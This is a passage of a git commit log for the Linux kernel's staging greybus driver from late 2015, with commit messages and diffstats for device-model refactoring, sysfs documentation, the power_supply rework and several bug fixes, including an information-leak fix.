oopsing when creating further connections. Note that the initial svc-connection has always been bundle-less, but did not trigger an oops as a bundle was created for it before further connections were created. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 2566fae6a5eb29e52502a38fd816c6e994547625 Author: Johan Hovold Date: Wed Nov 25 15:59:11 2015 +0100 greybus: connection: clean up connection-creation interface Clean up the connection-creation interface by clearly separating our two types of connections: static and dynamic. Add two convenience functions for creating static and dynamic connections. A static connection is a pre-setup connection that is defined by a host device and a host-device cport id. Specifically, the remote interface or cport id need not be known. The SVC connection is a static connection. A dynamic connection is defined by a host device and a remote interface and cport id. This is our normal connections where the host-device cport is (generally) allocated dynamically. Note that the new generic interface is marked static, but can be exported later to allow dynamic connections to be created also from fixed host-device cports (e.g. for CSI). Also note that a connection of either type is uniquely identified by its host-device and host-device cport id once created. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 64 ++++++++++++++++++++++++++---------- drivers/staging/greybus/connection.h | 13 ++++---- drivers/staging/greybus/interface.c | 3 +- drivers/staging/greybus/manifest.c | 3 +- drivers/staging/greybus/svc.c | 7 ++-- 5 files changed, 59 insertions(+), 31 deletions(-) commit e4048006fd3823760d85057549bf609d3ed2e4c8 Author: Johan Hovold Date: Wed Nov 25 15:59:10 2015 +0100 greybus: interface: kill gb_create_bundle_connection Kill gb_create_bundle_connection, which was only used to create the control bundle and connection, and replace it with a specialised static helper. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 51 +++++++++++++------------------------ drivers/staging/greybus/interface.h | 1 - 2 files changed, 18 insertions(+), 34 deletions(-) commit 66069fb06ce42c1deca543d0620a69508b92ec31 Author: Johan Hovold Date: Wed Nov 25 15:59:09 2015 +0100 greybus: svc: move endo id and ap interface id to svc Move endo_id and AP interface id to the svc device. The endo abstraction is about to be removed, and these attributes are arguable attributes of the svc anyway. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 4 ++-- drivers/staging/greybus/endo.c | 31 -------------------------- drivers/staging/greybus/svc.c | 43 +++++++++++++++++++++++++++--------- drivers/staging/greybus/svc.h | 3 +++ 4 files changed, 38 insertions(+), 43 deletions(-) commit 88f7b96da75f816ba022190d6076720562cac050 Author: Johan Hovold Date: Wed Nov 25 15:59:08 2015 +0100 greybus: svc: register svc device at hello Register the svc device upon reception of the HELLO request. The SVC HELLO request contains the endo id and AP interface id, which will be exposed from the svc device rather than the endo. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 3 +++ drivers/staging/greybus/greybus.h | 6 ++++++ drivers/staging/greybus/svc.c | 25 +++++++++++-------------- drivers/staging/greybus/svc.h | 15 ++++++++++++++- 4 files changed, 34 insertions(+), 15 deletions(-) commit 6106e51b742b32954351e6020cdb789bc33bf120 Author: Johan Hovold Date: Wed Nov 25 15:59:07 2015 +0100 greybus: svc: clean up svc initialisation Make sure to initialise the svc device fully before adding it to the host device. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit efe6ef76ba97f20302d200368d9f99848350bae1 Author: Johan Hovold Date: Wed Nov 25 15:59:06 2015 +0100 greybus: svc: make svc a device Make the svc object a child device of the host-device device and use driver core to manage its lifetime. The svc device name is "-svc", where bus_id is the dynamically assigned id of the host device. Note that there is exactly one svc-device per host device (bus). Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 31 ++++++++++++++++++++++++++++--- 1 file changed, 28 insertions(+), 3 deletions(-) commit f0172c7043d772ed0d198046cb6142dd91ab2a5a Author: Johan Hovold Date: Wed Nov 25 15:59:05 2015 +0100 greybus: bundle: rename bundle devices Rename bundle devices so that the new device names become "-.", where bus_id is the dynamically allocated host-device bus id and intf_id the svc-allocated interface id. Using a period (.) rather than a colon (:) makes dev-messages easier to read as as those already add a colon after the device name, for example: greybus 1-4.15: failed to connect cport: -22 Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/bundle.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 8b0df4b2eaf2f741ae44e8f5bad4ecb223f87932 Author: Johan Hovold Date: Wed Nov 25 15:59:04 2015 +0100 greybus: interface: make interfaces children of host devices Make interfaces child devices of host devices. The new interface device name is "-", where bus_id is the dynamically allocated bus id for the host device and intf_id is the svc-allocated interface id. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 17 +++-------------- drivers/staging/greybus/interface.h | 1 - drivers/staging/greybus/loopback.c | 6 ------ 3 files changed, 3 insertions(+), 21 deletions(-) commit 582b3a13920c71ca6e546598d344dc6027168e64 Author: Johan Hovold Date: Wed Nov 25 15:59:03 2015 +0100 greybus: connection: drop parent parameter from connection create The parent parameter was only used for debug messages and to name the connection workqueue. Use the host-device device for this instead. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 8 ++++---- drivers/staging/greybus/connection.h | 2 +- drivers/staging/greybus/interface.c | 2 +- drivers/staging/greybus/svc.c | 2 +- 4 files changed, 7 insertions(+), 7 deletions(-) commit 2adaefb1458f67b3f71111fcf6a15670ab64101d Author: Johan Hovold Date: Wed Nov 25 15:59:02 2015 +0100 greybus: hd: make host device a device Make the host device a proper device in the kernel device model. Host devices will be our new greybus-bus root devices. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 6 ++-- drivers/staging/greybus/core.c | 14 +++++++- drivers/staging/greybus/endo.c | 18 +++++----- drivers/staging/greybus/greybus.h | 6 ++++ drivers/staging/greybus/greybus_trace.h | 4 +-- drivers/staging/greybus/hd.c | 59 +++++++++++++++++++++++++++------ drivers/staging/greybus/hd.h | 8 +++-- drivers/staging/greybus/interface.c | 2 +- drivers/staging/greybus/svc.c | 2 +- 9 files changed, 90 insertions(+), 29 deletions(-) commit a97015c9e99d8421b80cdf9652a456f4cd93fc1e Author: Johan Hovold Date: Wed Nov 25 15:59:01 2015 +0100 greybus: bundle: add bundle_id attribute Add a bundle_id attribute for the interface-unique id of a bundle that user space can use for matching. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Documentation/sysfs-bus-greybus | 7 +++++++ drivers/staging/greybus/bundle.c | 10 ++++++++++ 2 files changed, 17 insertions(+) commit 2b14daba1d6976a078ba8ccdd1f932f2320061a8 Author: Johan Hovold Date: Wed Nov 25 15:59:00 2015 +0100 greybus: bundle: use hexadecimal notation for class attribute Use hexadecimal notation for class-attribute value. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/bundle.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4396c00b73d1ead961f09016aa9c731ea97c44ab Author: Johan Hovold Date: Wed Nov 25 15:58:59 2015 +0100 greybus: bundle: rename class attribute Rename the bundle class-attribute "bundle_class" for consistency reasons and to make it self documenting. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/bundle.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 320421a80bdd0f7373dbba0bf01b594e12d57218 Author: Johan Hovold Date: Wed Nov 25 15:58:58 2015 +0100 greybus: interface: add interface_id attribute Add interface_id attribute that user space needs to identify an interface. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 2 ++ 1 file changed, 2 insertions(+) commit 1eca63ae79cc90ae3c8cabe21d5c9c717eb82a3a Author: Johan Hovold Date: Wed Nov 25 15:58:57 2015 +0100 greybus: interface: remove device_id attribute The interface device_id attribute is an implementation detail that does not need to be exported to user space. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 2 -- 1 file changed, 2 deletions(-) commit 9f59263a8976db0877409d9f9813d7101756a653 Author: Johan Hovold Date: Wed Nov 25 15:58:56 2015 +0100 greybus: interface: rename vendor and product attributes Rename vendor and product attributes vendor_id and product_id. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 4 ++-- drivers/staging/greybus/firmware.c | 2 +- drivers/staging/greybus/interface.c | 8 ++++---- drivers/staging/greybus/interface.h | 4 ++-- drivers/staging/greybus/svc.c | 4 ++-- 5 files changed, 11 insertions(+), 11 deletions(-) commit fda3412566631d7c22edc3da7561f09a6f4dbc96 Author: Johan Hovold Date: Wed Nov 25 15:58:55 2015 +0100 greybus: Documentation/sysfs-bus-greybus: update the bus ABI documentation Update the ABI documentation to match the new device model. Note that the SVC unique_id and version attributes are not yet implemented. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman .../greybus/Documentation/sysfs-bus-greybus | 94 +++++++--------------- 1 file changed, 31 insertions(+), 63 deletions(-) commit f6f8aeaa35899de2180b93a0efc27a7d5b0c4ec5 Author: Johan Hovold Date: Sun Nov 22 10:24:08 2015 +0100 greybus: Documentation/sysfs: update the example sysfs tree Update the example sysfs-tree layout under Documentation. The new layout reflects changes to the kernel device-model that are needed to eventually be able to handle multiple AP-bridges. The example tree has two AP-bridges, each with its own view of the UniPro network, the bus. . ├── greybus1 │   ├── 1-2 │   │   ├── 1-2.1 │   │   │   ├── class │   │   │   ├── id │   │   │   └── state │   │   ├── 1-2.2 │   │   │   ├── class │   │   │   ├── id │   │   │   └── state │   │   ├── id │   │   ├── product_id │   │   ├── unique_id │   │   └── vendor_id │   ├── 1-4 │   │   ├── 1-4.2 │   │   │   ├── class │   │   │   ├── gpbridge0 │   │   │   │   ├── gpio │   │   │   │   │   └── gpiochip490 │   │   │   │   └── i2c-4 │   │   │   ├── id │   │   │   └── state │   │   ├── id │   │   ├── product_id │   │   ├── unique_id │   │   └── vendor_id │   └── 1-svc │   ├── ap_intf_id │   ├── eject │   ├── endo_id │   └── unique_id └── greybus2 ├── 2-3 │   ├── 2-3.1 │   │   ├── class │   │   ├── id │   │   └── state │   ├── id │   ├── product_id │   ├── unique_id │   └── vendor_id └── 2-svc ├── ap_intf_id ├── eject ├── endo_id └── unique_id Every bus has exactly one svc device (1-svc and 2-svc). For our system, the svc device of each bus will be a representation of the same network-unique SVC device (e.g. endo_id and unique_id will be identical). The first bus has two registered interfaces (1-2 and 1-4), while the second bus has a single interface (2-3). Note that the interface ids (2, 4, and 3) are necessarily unique as these are interfaces on the same network. Interface 1-2 has two bundles (1-2.1 and 1-2.2) and interface 1-4 has a single bundle (1-4.2). The bundle ids are interface-unique and reflect the ids found in each manifest. In the example, bundle 1-4.2 has a gbbridge-device, which is the parent device for a gpiochip device and an i2c bus. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Documentation/sysfs/endo-TYPE/01/01/vendor_id | 0 drivers/staging/greybus/Documentation/sysfs/endo-TYPE/01/01/vendor_name | 0 .../Documentation/sysfs/endo/01/01/01/01/gpbridge00/gpio/.gitignore | 1 - .../Documentation/sysfs/endo/01/01/01/01/gpbridge00/i2c/.gitignore | 1 - .../Documentation/sysfs/endo/01/01/01/01/gpbridge00/usb/.gitignore | 1 - drivers/staging/greybus/Documentation/sysfs/endo/01/01/firmware | 0 drivers/staging/greybus/Documentation/sysfs/endo/01/01/manifest | 0 drivers/staging/greybus/Documentation/sysfs/endo/01/01/product_id | 0 drivers/staging/greybus/Documentation/sysfs/endo/01/01/product_name | 0 drivers/staging/greybus/Documentation/sysfs/endo/01/01/state | 0 drivers/staging/greybus/Documentation/sysfs/endo/01/01/uid | 0 drivers/staging/greybus/Documentation/sysfs/endo/01/01/version_major | 0 drivers/staging/greybus/Documentation/sysfs/endo/01/01/version_minor | 0 drivers/staging/greybus/Documentation/sysfs/endo/01/epm | 0 drivers/staging/greybus/Documentation/sysfs/endo/01/power | 0 drivers/staging/greybus/Documentation/sysfs/endo/01/present | 0 drivers/staging/greybus/Documentation/sysfs/endo/02/02/.gitignore | 1 - drivers/staging/greybus/Documentation/sysfs/endo/ap_intf_id | 0 drivers/staging/greybus/Documentation/sysfs/endo/id | 0 drivers/staging/greybus/Documentation/sysfs/endo/svc/svc/firmware | 0 drivers/staging/greybus/Documentation/sysfs/endo/svc/svc/serial_number | 0 drivers/staging/greybus/Documentation/sysfs/endo/svc/svc/version | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-2/1-2.1/class | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-2/1-2.1/id | 1 + drivers/staging/greybus/Documentation/sysfs/greybus1/1-2/1-2.1/state | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-2/1-2.2/class | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-2/1-2.2/id | 1 + drivers/staging/greybus/Documentation/sysfs/greybus1/1-2/1-2.2/state | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-2/id | 1 + drivers/staging/greybus/Documentation/sysfs/greybus1/1-2/product_id | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-2/unique_id | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-2/vendor_id | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-4/1-4.2/class | 0 .../sysfs/greybus1/1-4/1-4.2/gpbridge0/gpio/gpiochip490/.gitignore | 1 + .../Documentation/sysfs/greybus1/1-4/1-4.2/gpbridge0/i2c-4/.gitignore | 1 + drivers/staging/greybus/Documentation/sysfs/greybus1/1-4/1-4.2/id | 1 + drivers/staging/greybus/Documentation/sysfs/greybus1/1-4/1-4.2/state | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-4/id | 1 + drivers/staging/greybus/Documentation/sysfs/greybus1/1-4/product_id | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-4/unique_id | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-4/vendor_id | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-svc/ap_intf_id | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-svc/eject | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-svc/endo_id | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-svc/unique_id | 0 drivers/staging/greybus/Documentation/sysfs/greybus2/2-3/2-3.1/class | 0 drivers/staging/greybus/Documentation/sysfs/greybus2/2-3/2-3.1/id | 1 + drivers/staging/greybus/Documentation/sysfs/greybus2/2-3/2-3.1/state | 0 drivers/staging/greybus/Documentation/sysfs/greybus2/2-3/id | 1 + drivers/staging/greybus/Documentation/sysfs/greybus2/2-3/product_id | 0 drivers/staging/greybus/Documentation/sysfs/greybus2/2-3/unique_id | 0 drivers/staging/greybus/Documentation/sysfs/greybus2/2-3/vendor_id | 0 drivers/staging/greybus/Documentation/sysfs/greybus2/2-svc/ap_intf_id | 0 drivers/staging/greybus/Documentation/sysfs/greybus2/2-svc/eject | 0 drivers/staging/greybus/Documentation/sysfs/greybus2/2-svc/endo_id | 0 drivers/staging/greybus/Documentation/sysfs/greybus2/2-svc/unique_id | 0 56 files changed, 9 insertions(+), 4 deletions(-) commit fc25d9068e80659ea2b3a4516c63c523bdafc20b Author: Sachin Pandhare Date: Tue Nov 24 07:59:10 2015 +0530 greybus: manifest: simplify descriptor address calculation This patch doesn't change any functionality. It just improves the readability of the code. Current code to get 'descriptors' pointer looks as if we are forcing the pointer type change. To simplify the address calculations, use 'descriptors' member directly from greybus_manifest structure. Signed-off-by: Sachin Pandhare Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/manifest.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit bfe2c99c1cd346b06a7d34274b9b826d40ab40a1 Author: Johan Hovold Date: Sun Nov 22 10:12:58 2015 +0100 greybus: hd: fix cport-count check Fix off-by-one error when checking the number of cports a host-device supports. The CPORT_ID_MAX is the largest valid cport id so the maximum number of cports a host-device can use is CPORT_ID_MAX + 1. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/hd.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 39f36c8f9ff6203301a1d7feb7f51d2563abbd3a Author: Johan Hovold Date: Sat Nov 21 10:51:58 2015 +0100 greybus: connection: fix cport-id range Fix cport-id allocation that failed to include the highest port id in the available cport-id range. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d3d2af51f9c2f29a0bf5df278503820004d71e36 Author: Vaibhav Agarwal Date: Mon Nov 23 15:57:45 2015 +0530 greybus: Audio: Add skeleton code for GB virtual codec driver This patch adds gb-codec driver with static information for DAPM widgets, controls & dapm_routes. Including some changes in kernel code(machine driver): - Able to register codec and glue it with existing sound card successfully. - Able to view & modify mixer controls: (volume/mute[left/right][input/output]) - Able to view DAPM widgets registered via /debug interface. - Able to establish DAPM path for playback. Since, FE<->BE path not yet verified with default jetson build, registering GB DAI as normal DAI link to verify GB virtual codec specific DAPM path. Signed-off-by: Vaibhav Agarwal Reviewed-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 2 + drivers/staging/greybus/audio-codec.c | 315 ++++++++++++++++++++++++++++++++++ drivers/staging/greybus/audio.h | 86 ++++++++++ 3 files changed, 403 insertions(+) commit 3823c614793131afcfd87ba87bd83012ec52a879 Author: Johan Hovold Date: Sat Nov 21 10:52:04 2015 +0100 greybus: add class matching macro Add matching macro for bundle class. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus.h | 4 ++++ 1 file changed, 4 insertions(+) commit 700001af960af35e57b701e57bd1595404dca613 Author: Johan Hovold Date: Sat Nov 21 10:52:03 2015 +0100 greybus: move id-matching back to core Move id-matching back to core and the bus code where it belongs. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/bundle.c | 35 ----------------------------------- drivers/staging/greybus/core.c | 37 +++++++++++++++++++++++++++++++++++-- 2 files changed, 35 insertions(+), 37 deletions(-) commit f65fa47f28f303c84b701dadda6d4f48fb541691 Author: Johan Hovold Date: Sat Nov 21 10:52:02 2015 +0100 greybus: fix vendor and product matching Fix vendor and product matching by matching on the 32-bit Ara vendor and product ids. Remove the "fake" 16-bit vendor and product ids and export the Ara ids using the "vendor" and "product" interface attributes instead. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/firmware.c | 2 +- drivers/staging/greybus/greybus_id.h | 4 ++-- drivers/staging/greybus/interface.h | 6 ++---- drivers/staging/greybus/manifest.c | 5 ----- drivers/staging/greybus/svc.c | 4 ++-- 5 files changed, 7 insertions(+), 14 deletions(-) commit 8034bd561dac0c6616097394ba9b5eaee3c4fc9c Author: Johan Hovold Date: Sat Nov 21 10:52:01 2015 +0100 greybus: interface: remove unique id Remove the unimplemented interface unique-id. There will eventually be an interface-serial-number attribute provided, but let's not export it or commit to a name for this attribute until we need it. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Documentation/sysfs-bus-greybus | 7 ------- drivers/staging/greybus/interface.c | 2 -- drivers/staging/greybus/interface.h | 1 - drivers/staging/greybus/manifest.c | 1 - 4 files changed, 11 deletions(-) commit 9784a591f00134c02d152d6d07c539a136db7c12 Author: Johan Hovold Date: Sat Nov 21 10:52:00 2015 +0100 greybus: remove unique-id matching Remove unique-id matching as it does not make much sense to have a driver match a specific device serial number. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/bundle.c | 8 ++------ drivers/staging/greybus/greybus.h | 4 ---- drivers/staging/greybus/greybus_id.h | 2 -- 3 files changed, 2 insertions(+), 12 deletions(-) commit 358e9400f41a74467380cef38a6797c1747f7b1a Author: Johan Hovold Date: Sat Nov 21 10:51:59 2015 +0100 greybus: fix bundle-id match macros The matching flags were renamed over a year ago but the so far unused id-macros were never updated. Also rename the GREYBUS_ID_MATCH_DEVICE mask to use the common GREYBUS_ID_MATCH-prefix. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus.h | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 55510843c1630f6067aae4c45ff2929a51f56b4d Author: Johan Hovold Date: Thu Nov 19 18:28:01 2015 +0100 greybus: svc: fix missing version-request sanity checks Add missing sanity checks on version-request payload size. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 8 ++++++++ 1 file changed, 8 insertions(+) commit 87f6c976f4104ae5a439ff2d78ea3fe7ce0ac280 Author: Johan Hovold Date: Thu Nov 19 18:28:00 2015 +0100 greybus: firmware: break long lines Break lines longer than 80 cols, and clean up an error message while at it. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/firmware.c | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) commit 98645a9c69f40e46cdbf8c0c1862b4c2ed470319 Author: Johan Hovold Date: Thu Nov 19 18:27:59 2015 +0100 greybus: firmware: fix information leak Add missing sanity checks on get_firmware-request offset and size parameters to fix potential information leaks. This prevents remotely controlled information leaks as the requestor currently controls both the 32-bit firmware-image offset and the amount of data that is returned (up to host-device MTU). Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/firmware.c | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) commit 81ad6994611706270bc68a8dd951d7c69e2ed175 Author: Bartosz Golaszewski Date: Thu Nov 19 13:46:43 2015 +0100 greybus: loopback: allocate a response even for a 0-byte request If payload length of a transfer packet is 0, no response is allocated. Send a well-formed response even in that case. Signed-off-by: Bartosz Golaszewski Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) commit 9864756be7542d3fe4e18297e0a45b5e2dec2f62 Author: Alexandre Bailon Date: Thu Nov 19 12:44:46 2015 +0100 greybus: loopback: fix invalid response size The size of timestamps is not taken into account, which makes the loopback driver in the firmware drop invalid packages. Signed-off-by: Alexandre Bailon Signed-off-by: Bartosz Golaszewski Reviewed-by: Johan Hovold Reviewed-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 5c864e775dfdecda1ea340af2d3b1c94b4dea63b Author: Rui Miguel Silva Date: Mon Nov 16 19:23:25 2015 +0000 greybus: manifest: fix bundle descriptor parse The descriptor list is walked in two points, in the bundle parsing and cport parsing, this can make the next descriptor pointer in bundle to be already removed by the cport remove descriptor and become invalid. So, just get the next bundle until there no more left. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/manifest.c | 18 +++++++++++++----- 1 file changed, 13 insertions(+), 5 deletions(-) commit 80ee842825d5f40a21b4257dd98b74f2c92e5f02 Author: Mark Greer Date: Fri Nov 13 14:44:13 2015 -0700 greybus: audio: Allocate protocol and class values Allocate protocol and class values for the Audio Device Class Protocol. Two values of each type are allocated: one for Audio Management Connections and one for Audio Data Connections. Signed-off-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_manifest.h | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit e3c25930d90216f7f6e536136a70daee7450604c Author: Viresh Kumar Date: Fri Nov 13 08:59:50 2015 +0530 greybus: es1: Remove the (now) unused es1 driver This was used by gbsim earlier, but not anymore. Lets remove it. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 2 - drivers/staging/greybus/es1.c | 729 -------------------------------- drivers/staging/greybus/greybus_trace.h | 4 +- 3 files changed, 2 insertions(+), 733 deletions(-) commit bf6a61bd2f36245c3d2d62b411cea48f10b7f4dd Author: Viresh Kumar Date: Fri Nov 13 08:59:49 2015 +0530 greybus: es2: remove fake vendor/product ids These aren't used anymore, remove them. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 1 - 1 file changed, 1 deletion(-) commit ffe2e2487a388cf01ec44439346363aa8d654cd4 Author: Rui Miguel Silva Date: Thu Nov 12 15:36:02 2015 +0000 greybus: power_supply: rework and operation changes This is a major rework and changes to the current implementation of the battery protocol. The previous implementation lack the support of a more dynamic handle of power supply properties and updating of status. Also, reflect the actual state of the greybus specification So, with this new approach a set of operations to fetch the battery module configuration and properties is add, new methods to cache and update the values of properties, new operation to set properties if declared writable and an event operation that can be triggered by the module to force an update read on the properties values. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 187 ++++-- drivers/staging/greybus/kernel_ver.h | 7 + drivers/staging/greybus/power_supply.c | 844 +++++++++++++++++++++------- 3 files changed, 793 insertions(+), 245 deletions(-) commit 783e373a9fead8591e5d22fd12e76a99b234337e Author: Rui Miguel Silva Date: Thu Nov 12 15:36:01 2015 +0000 greybus: makefile: add power_supply config check Add check for POWER_SUPPLY config option to guarantee that it is enabled. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 2724be0305bc8def0ad05b226fb9867549b35c16 Author: Rui Miguel Silva Date: Thu Nov 12 15:36:00 2015 +0000 greybus: battery: move implementation to power_supply Rename protocol to POWER_SUPPLY and implementation details from battery to power_supply. Also fix some tabs between define and macro name. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_manifest.h | 4 +- drivers/staging/greybus/greybus_protocols.h | 78 +++++++------- drivers/staging/greybus/power_supply.c | 155 ++++++++++++++-------------- 3 files changed, 120 insertions(+), 117 deletions(-) commit 464888410d3499708baf168bc52e13f18d0cf0ae Author: Rui Miguel Silva Date: Thu Nov 12 15:35:59 2015 +0000 greybus: battery: move battery file to power_supply Rename the battery.c to power_supply.c and update the makefile as the Greybus protocol is being renamed from battery to power_supply. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 4 +- drivers/staging/greybus/battery.c | 317 --------------------------------- drivers/staging/greybus/power_supply.c | 317 +++++++++++++++++++++++++++++++++ 3 files changed, 319 insertions(+), 319 deletions(-) commit 69166d252536b644f82782840cf31e6d685616dc Author: Viresh Kumar Date: Mon Nov 9 15:05:03 2015 +0530 greybus: es2: Send cport-id in wValue field to usb_control_msg() wIndex field has a special meaning, as that can be used by the core to index into the possible USB interfaces. And that specifically broke with gbsim, as it has a single USB interface. Other similar requests (REQUEST_LATENCY_TAG_{EN|DIS}) are already using wValue field for passing cport-id. Fix cport_reset() by sending the cport-id in wValue field instead of wIndex. Signed-off-by: Viresh Kumar Tested-by: Fabien Parent Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f6c6c1388ad3ea9adc0ec2652d2b5ef9ad4ae166 Author: Johan Hovold Date: Wed Nov 11 10:07:08 2015 +0100 greybus: svc: use bit-macro for cport flags Use BIT-macro for cport flags. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 35a84ba7f94001c11fac0679b20c8d268fbc0b96 Author: Johan Hovold Date: Wed Nov 11 10:07:07 2015 +0100 greybus: use decimal notation for interface and cport ids Fix up the few places where hexadecimal rather than decimal notation was used for interface and cport ids. Note that this includes the endo sysfs-attribute for the AP interface id. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/endo.c | 2 +- drivers/staging/greybus/interface.c | 3 +-- drivers/staging/greybus/svc.c | 4 ++-- 3 files changed, 4 insertions(+), 5 deletions(-) commit febe25217924983f08a3d729d1a0b96a152ff340 Author: Johan Hovold Date: Wed Nov 11 10:07:06 2015 +0100 greybus: interface: fix obsolete comment Fix obsolete comment that was referring to "module" rather than "interface". Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit eeb6a6ff597ee47a6ecc652dab769c3137fd1483 Author: Johan Hovold Date: Wed Nov 11 10:07:05 2015 +0100 greybus: interface: fix potential use-after-free at remove Fix resources (accessible through sysfs) being released before interface is deregistered. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit f865734d3cf58cc9aba3f58962fbca7b97fe47d4 Author: Johan Hovold Date: Wed Nov 11 10:07:04 2015 +0100 greybus: light: fix class-device parent Greybus bundle drivers should register their class devices as children to the bundle device that they bind to. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/light.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit cd414d472637a30104b4908f5f239f3c06d90fe9 Author: Johan Hovold Date: Wed Nov 11 10:07:03 2015 +0100 greybus: battery: fix class-device parent Greybus bundle drivers should register their class devices as children to the bundle device that they bind to. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman 